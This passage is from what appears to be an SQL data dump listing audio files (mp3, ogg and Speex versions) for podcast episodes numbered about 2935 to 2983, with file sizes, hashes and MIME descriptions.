(2935,'hpr2935.ogg','ogg',17881833,'102babb4f5ef2856117b5297f7bb023035d27b12','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2935,'hpr2935.spx','spx',6952726,'29308cb0dc35ebf584417564df408bd9bbb29400','application/ogg; charset=binary','Ogg data, Speex audio'),
(2936,'hpr2936.mp3','mp3',21281246,'c2053877e4552d86d4c94b229621a621303ef90a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2936,'hpr2936.ogg','ogg',22139889,'d19db61e8410956be757390655e9fdcdbb389600','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2936,'hpr2936.spx','spx',9504230,'4f60a1860e9d041469ead502c93e1106109ee07e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2937,'hpr2937.mp3','mp3',12299871,'3bb760a4da4f76017c38562d7f3e8519e18c2702','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2937,'hpr2937.ogg','ogg',13088305,'4501efa641647be983a8ea016adab3f305d35dfc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2937,'hpr2937.spx','spx',5492953,'64e61ed643a6f5169acc5e3589655cff592cd6c0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2938,'hpr2938.mp3','mp3',10969495,'ec9da512eb673e931c9896a963dd1bfd91f245f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2938,'hpr2938.ogg','ogg',10945996,'e7d4e863a69d610d0e5608c675b503739832f238','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2938,'hpr2938.spx','spx',4898840,'1883490f8b3af20bbc17d4d4a0c68962e827b5db','application/ogg; charset=binary','Ogg data, Speex audio'),
(2939,'hpr2939.mp3','mp3',5964059,'6bd0e0803fc619781e8724734ca3fd5f77315709','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2939,'hpr2939.ogg','ogg',6690344,'918459fb58fa8c108819e18b23cb5881efb33fd8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2939,'hpr2939.spx','spx',2663338,'f6b2eeccb62e92dfdfa2d7e58bc6ba3c5bcd0486','application/ogg; charset=binary','Ogg data, Speex audio'),
(2940,'hpr2940.mp3','mp3',7298573,'90336886bec0de6092ef4a67cbe356c5a7d0b743','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2940,'hpr2940.ogg','ogg',8402138,'8e302efbbde86d6ba20ce434f5ffda3622300b52','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2940,'hpr2940.spx','spx',3259397,'29ab46710c0012cf1c74587ec4a65b6918bea154','application/ogg; charset=binary','Ogg data, Speex audio'),
(2941,'hpr2941.mp3','mp3',19033035,'13d3e8c15fa30e83ca06b8210eb9a1cab11acd20','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2941,'hpr2941.ogg','ogg',19553494,'b17fd9cd182c0fc9269948a2c7111dad4af05220','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2941,'hpr2941.spx','spx',8500103,'311ab0191dbc8e612ba5c7386d6468a409d5363e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2942,'hpr2942.mp3','mp3',4446444,'aec3eb4d6e26037aca2b4c726f2b1db3bbfa27fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2942,'hpr2942.ogg','ogg',4970587,'c5a63aa8b41f8b32c18dfc4eeb69af464344ec18','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2942,'hpr2942.spx','spx',1985551,'a8363b806861cf21e6daa34e476414021ca12900','application/ogg; charset=binary','Ogg data, Speex audio'),
(2943,'hpr2943.mp3','mp3',5756253,'55b8f724608f0d08c59b491da4980cea5f15a17d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2943,'hpr2943.ogg','ogg',6340694,'b6f163e9a86f49954fe6b6db9f641dd4f5b10e42','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2943,'hpr2943.spx','spx',2570504,'82957836b14033221efce50691c192cec2426979','application/ogg; charset=binary','Ogg data, Speex audio'),
(2944,'hpr2944.mp3','mp3',9114257,'efd8b6dd588d900081e1c1c87b5682a19b432805','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2944,'hpr2944.ogg','ogg',10150981,'86f020f7225bce22ed519324f7eedc33b2ec92f9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2944,'hpr2944.spx','spx',4070314,'2af33b770685579d4860f10ef8ae926ffb598f65','application/ogg; charset=binary','Ogg data, Speex audio'),
(2945,'hpr2945.mp3','mp3',18952332,'6070dfc405097cd8b31eb0add8f4620f834276fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2945,'hpr2945.ogg','ogg',20508199,'4d78625122efcf971a3c3d52dd9020666400e84e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2945,'hpr2945.spx','spx',8464110,'dcb8f8b250573f00afe5ab2e138231a22025392b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2946,'hpr2946.mp3','mp3',28197169,'a1c9a6ed2f891a9109c43251da2d2d13b4e722e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2946,'hpr2946.ogg','ogg',29693355,'b6be9721fcc250942976a25afa8a7a3b64dcd5ba','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2946,'hpr2946.spx','spx',12592921,'5d6f5426e240cbccdd779354d4b97532d8ed6073','application/ogg; charset=binary','Ogg data, Speex audio'),
(2947,'hpr2947.mp3','mp3',11248946,'e593670ae1a98b7234298b34d84d3697891237a2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2947,'hpr2947.ogg','ogg',12510157,'a14e958a4864f7c80dab0044f2fb12217d746676','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2947,'hpr2947.spx','spx',5023661,'e0c8bd813d43f4b206a9b7ac201cf65969fb6506','application/ogg; charset=binary','Ogg data, Speex audio'),
(2948,'hpr2948.mp3','mp3',21555555,'0d7c14dc85be7e65d6606f268c51212eba337a07','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2948,'hpr2948.ogg','ogg',21066664,'e22b201015f84c0c665b63209fd587e3cd7f178b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2948,'hpr2948.spx','spx',9626625,'bc7e17142bc374232165e95cf10f7f42e86d9110','application/ogg; charset=binary','Ogg data, Speex audio'),
(2949,'hpr2949.mp3','mp3',12303711,'918f9255d8626bc818bd44681d34bd61ae996e13','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2949,'hpr2949.ogg','ogg',13582379,'5be3e94dec56490f5a3f0aceee4b207949e3daf1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2949,'hpr2949.spx','spx',5494691,'2c10c4139048cadd6f418f346399aca24ff50ee8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2950,'hpr2950.mp3','mp3',7997860,'a78849c5ec8647e72ae44de53ef6e79a7272d8d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2950,'hpr2950.ogg','ogg',9292564,'d54ce5fd8079458f7695284373277cb9dd81a95f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2950,'hpr2950.spx','spx',3571733,'812370ee5a348a48adc3660fa0f48434afa95455','application/ogg; charset=binary','Ogg data, Speex audio'),
(2951,'hpr2951.mp3','mp3',8313417,'a5e2c45aa8e7a722d6a4f891fac00e6abf3a17cb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2951,'hpr2951.ogg','ogg',10010979,'2d38bcc6cb368500f2c2ee670d20d42c72658c09','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2951,'hpr2951.spx','spx',3712637,'4cfb2f20d375bb0857265992c2c2d957220deaf0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2952,'hpr2952.mp3','mp3',13653697,'5f3311d0ac78ed4f4dc8e4608987ce2a32b09fa6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2952,'hpr2952.ogg','ogg',15972733,'6833479c8385de7450701ce7d7bc44ea70c207b4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2952,'hpr2952.spx','spx',6097628,'7b2e4f494e05e6c4838ca335ab486f59fd452ef0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2953,'hpr2953.mp3','mp3',3358260,'8467cebf5cb54740872813ffed529565e16b03f3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2953,'hpr2953.ogg','ogg',3678903,'ea5fae177cdb7e728fe4d4b7f947c3674b7b073b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2953,'hpr2953.spx','spx',1499618,'373714d3ba50dee3b166212fb363fb95ae0c6f95','application/ogg; charset=binary','Ogg data, Speex audio'),
(2954,'hpr2954.mp3','mp3',4885958,'2f6d46cba6ee4103d7e9a87e794e7bb036c09de1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2954,'hpr2954.ogg','ogg',5371936,'56941c333e8c0bd31faffc426d372f442bd84bd3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2954,'hpr2954.spx','spx',2181886,'cc1f786c7208b3b89af6ac887c0417ba51fb33e7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2955,'hpr2955.mp3','mp3',10734423,'1cea5ccb9175db6e0ad30e6f7304e1f3f38bea4b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2955,'hpr2955.ogg','ogg',12024652,'199dedba1017335a819aca41d929bd2eab67a9c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2955,'hpr2955.spx','spx',4793825,'be2280a8a27bfca7b757c730f5b8bdb96114a6ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(2956,'hpr2956.mp3','mp3',39574266,'e92e597894b8a5bf7ac24ee3e0173d825a53e6b6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2956,'hpr2956.ogg','ogg',40448658,'d0a96d9bc212bb3add5ddf0cd53913f2bff9bbb0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2956,'hpr2956.spx','spx',17673950,'eb808f62180386bed147ed2371f7dbe55fd256c2','application/ogg; charset=binary','Ogg data, Speex audio'),
(2957,'hpr2957.mp3','mp3',9426809,'2b8bd2121d67319118c930b18da01615ac3bd766','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2957,'hpr2957.ogg','ogg',9875461,'64842dc7f1dbb65a20c0d46ecd1fce21e7f2f97b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2957,'hpr2957.spx','spx',4209858,'0162e374cfc05027616afe8c884ec7c2f80e903d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2958,'hpr2958.mp3','mp3',12240492,'5a95a3888c72c4ef85e8d84c623f72399b336511','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2958,'hpr2958.ogg','ogg',11981843,'8e291c5a66a1bd5882870c3538b0e35d111a8832','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2958,'hpr2958.spx','spx',5466421,'c347244ab7de822b2db2350d61ed77978cd3bb8c','application/ogg; charset=binary','Ogg data, Speex audio'),
(2959,'hpr2959.mp3','mp3',19680428,'05c1e132041050c757ed50e732697b57d4c7f618','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2959,'hpr2959.ogg','ogg',19110125,'9cad0ff2ad6120463beee3638f4f86ad37f06ce9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2959,'hpr2959.spx','spx',8789179,'b38c9f13ed81f8b5add19cff3098c8f398533fa0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2960,'hpr2960.mp3','mp3',7827495,'e03467875cecb1d9dbecf24cc14f2f58ee17c8ef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2960,'hpr2960.ogg','ogg',9004582,'8a091b2dbcb1ab225520f05de70eae9b4b57c5ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2960,'hpr2960.spx','spx',3495488,'786c88e319ce9a762fa77dcd62c0f0335ac65470','application/ogg; charset=binary','Ogg data, Speex audio'),
(2961,'hpr2961.mp3','mp3',5757778,'e493bfbd94988812309206a1424f07aae53b8665','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2961,'hpr2961.ogg','ogg',6469161,'97146cf66df12829a383710fed3b7f512a037f0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2961,'hpr2961.spx','spx',2571278,'82bc675ade396387d057efacdf5d206da9d5f97e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2962,'hpr2962.mp3','mp3',12947914,'bec89fa983f1feeb4be4ae9eb3373e6ca332f4ed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2962,'hpr2962.ogg','ogg',13853210,'65ef2d90f320176edf01e85dbcbdab866c8cc7f2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2962,'hpr2962.spx','spx',5782434,'e9eed92998bc4da5df2559fe6348d5776f0aa273','application/ogg; charset=binary','Ogg data, Speex audio'),
(2963,'hpr2963.mp3','mp3',8245100,'f518ddfc24823789235eba9ac2a94f12f5a0cd9d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2963,'hpr2963.ogg','ogg',9981283,'ac440a4d92065ba9d948f61d328009fa4958f100','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2963,'hpr2963.spx','spx',3682151,'2c13d94030c75328be950ce8c4a4c8e64b19a081','application/ogg; charset=binary','Ogg data, Speex audio'),
(2964,'hpr2964.mp3','mp3',9008903,'b48b13484592497765911c080e89ec7b9180c057','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2964,'hpr2964.ogg','ogg',10882208,'8b4b08d326fc27749fef9d83f41f8d5b8c327b26','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2964,'hpr2964.spx','spx',4023271,'3009cd29fed668c9aa4bc3fe4d79beaeb7fe5c3a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2965,'hpr2965.mp3','mp3',7860141,'3d8c9fd048bb2b6808c3117cc97d1edec3cde798','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2965,'hpr2965.ogg','ogg',8564023,'29fbeb72b0117e3df5ce109564f41a8b52c194b7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2965,'hpr2965.spx','spx',3510196,'3bd9d5bf0a26eee4d74d6b37301131afd9b41b87','application/ogg; charset=binary','Ogg data, Speex audio'),
(2966,'hpr2966.mp3','mp3',10626428,'a986a09cec1d5044f3da32fa37a7a060f6f9cb41','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2966,'hpr2966.ogg','ogg',10116021,'f39c3619a2bdcc1d45fab03a44101efb410105c1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2966,'hpr2966.spx','spx',4745650,'e4e15a5e9b2a94b0e62935bded4c14649bfc2acf','application/ogg; charset=binary','Ogg data, Speex audio'),
(2967,'hpr2967.mp3','mp3',13145813,'e7d55ed4c4b20b8e23553806c95e2e45963d8aed','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2967,'hpr2967.ogg','ogg',13818887,'0da2170543882b5bb92db7c89397e47ba7c82ece','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2967,'hpr2967.spx','spx',5870752,'24b8d7363a6ef0e59ac9bb969658b7b1c7a9fcdd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2968,'hpr2968.mp3','mp3',20750396,'c23de59265dcf894f85e5898e92ba7c3f1714233','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2968,'hpr2968.ogg','ogg',22879418,'1e7eecb2cf47dedcc02b663149d05ebb00eda100','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2968,'hpr2968.spx','spx',9267071,'3193b83e561c929c934f80071e59ea05578afb28','application/ogg; charset=binary','Ogg data, Speex audio'),
(2969,'hpr2969.mp3','mp3',12042831,'f4e5978a61b4813463b6f71a3e693a4197a0ae59','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2969,'hpr2969.ogg','ogg',11866179,'9597550a7a60dac400ade77fa24b957020e745c3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2969,'hpr2969.spx','spx',5378202,'a1f30629165fb3fa864137191be276492a2c49ae','application/ogg; charset=binary','Ogg data, Speex audio'),
(2970,'hpr2970.mp3','mp3',10307451,'75efbcfd3b76a72c593f93d27d08b69f32da4dbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2970,'hpr2970.ogg','ogg',11646005,'da1d7d2d0557d1e78bb5cf4c43c041d0460c07a0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2970,'hpr2970.spx','spx',4603084,'2d8b0bca5294913dda33f02aa60443aa724e5e33','application/ogg; charset=binary','Ogg data, Speex audio'),
(2971,'hpr2971.mp3','mp3',24888630,'9873b409088dcb8b05e97515584dca4435079c16','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2971,'hpr2971.ogg','ogg',26517083,'ad648b9df19f75687369c8403b1f43fae743f5e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2971,'hpr2971.spx','spx',11115217,'f557ba7c6e8e5de11811cda9663a037a2de29390','application/ogg; charset=binary','Ogg data, Speex audio'),
(2972,'hpr2972.mp3','mp3',22609686,'c5b4fb9b518937b0d9cad65cfd2a8aa69429eedd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2972,'hpr2972.ogg','ogg',24267221,'5eda2484b9f8dae145bae3ff5985ca96bde9c88c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2972,'hpr2972.spx','spx',10097479,'a92e1feb73e90c0829c359af6b0f6f4f41bf72d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2973,'hpr2973.mp3','mp3',7066001,'7403034720d563422f754e25e607748d8d205ca3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2973,'hpr2973.ogg','ogg',8089687,'87ce155efbbc4751c725697d9f6929c0c7200445','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2973,'hpr2973.spx','spx',3155466,'c3c21b9614c5bc8f3dc651ea5a03a50b760ff49a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2974,'hpr2974.mp3','mp3',25206836,'d7339502ed987cda47502fb0c095978fe4835063','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2974,'hpr2974.ogg','ogg',24879220,'68b7ef371eef4c35fa62e1819f878f344f31044b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2974,'hpr2974.spx','spx',11257355,'016970003d10f8663e24b095dfbe5b596a3309cb','application/ogg; charset=binary','Ogg data, Speex audio'),
(2975,'hpr2975.mp3','mp3',3650448,'4ba02e118457595f8e44ce09ef6d27594fd06817','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2975,'hpr2975.ogg','ogg',4034967,'794be9c967007dff70de215473ad0aff8742bed7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2975,'hpr2975.spx','spx',1630136,'5989660b86bbd4de8218fb18e7f09eef5ca5db54','application/ogg; charset=binary','Ogg data, Speex audio'),
(2976,'hpr2976.mp3','mp3',4359969,'5971db9613a6bc14e9de302f996d182296f77604','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2976,'hpr2976.ogg','ogg',5073965,'c8683a3a81d69d58bb73f47c6ad8ec0de6ce1b2f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2976,'hpr2976.spx','spx',1947013,'bbb748ff76dd47a842a2f5b31317fdd85c816593','application/ogg; charset=binary','Ogg data, Speex audio'),
(2977,'hpr2977.mp3','mp3',14496296,'7b0cd5bdff3022436b77e0d8cb1252c37b38a1b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2977,'hpr2977.ogg','ogg',15543530,'28d10cf3ec48b68c545d7de9113dff077a4011c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2977,'hpr2977.spx','spx',6473981,'a273e359cade5595a023f359951bcdce4bfeb839','application/ogg; charset=binary','Ogg data, Speex audio'),
(2978,'hpr2978.mp3','mp3',7045476,'d532e83fad5a84df9f605e2e216906b0c23261f1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2978,'hpr2978.ogg','ogg',7681697,'50d39b99b0898ab1df1531604605a22f67d93f3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2978,'hpr2978.spx','spx',3146350,'5b8b6adccf96b53fdd5be6d3c506b7a48da48d43','application/ogg; charset=binary','Ogg data, Speex audio'),
(2979,'hpr2979.mp3','mp3',4748386,'07ad2645a1f7e5f6020f94457ae2a8d295c163e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2979,'hpr2979.ogg','ogg',5140707,'d459bd75373d9f2ae236898ee1ab95b7e52893f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2979,'hpr2979.spx','spx',2120358,'cae9fe864f8a045bf63e49eb1832b7418cc8ae95','application/ogg; charset=binary','Ogg data, Speex audio'),
(2980,'hpr2980.mp3','mp3',33653015,'c6e49f8c7d7d286a10edf701ebcf9011f90ab797','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2980,'hpr2980.ogg','ogg',31790185,'b530bfe7a87ce8ef0404605784274da6a21fdfc1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2980,'hpr2980.spx','spx',15029572,'e3f2e792fcf0f937f5031bd2cfe9f4bc2640deb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(2981,'hpr2981.mp3','mp3',38624866,'a74872f476fb47badc89da9b14ba1312ac294cd3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2981,'hpr2981.ogg','ogg',38619955,'6fe3be030cba3dde26a02dcba02855f3052f9e4e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2981,'hpr2981.spx','spx',17250001,'733642bfe002171c2ef77698c0c7c71244c2cacc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2982,'hpr2982.mp3','mp3',20622786,'528565844e6fac84b8bfe290ef0749eb803040a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2982,'hpr2982.ogg','ogg',21764561,'525dd89a518a51eac54ee65f4e86a5ee614a2ddf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2982,'hpr2982.spx','spx',9210138,'9957c7039bedf65f3a7a8f0c5247694efdf6a831','application/ogg; charset=binary','Ogg data, Speex audio'),
(2983,'hpr2983.mp3','mp3',5097131,'ee1a1679db79d50a3d9447bce4a148ea332a5bbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
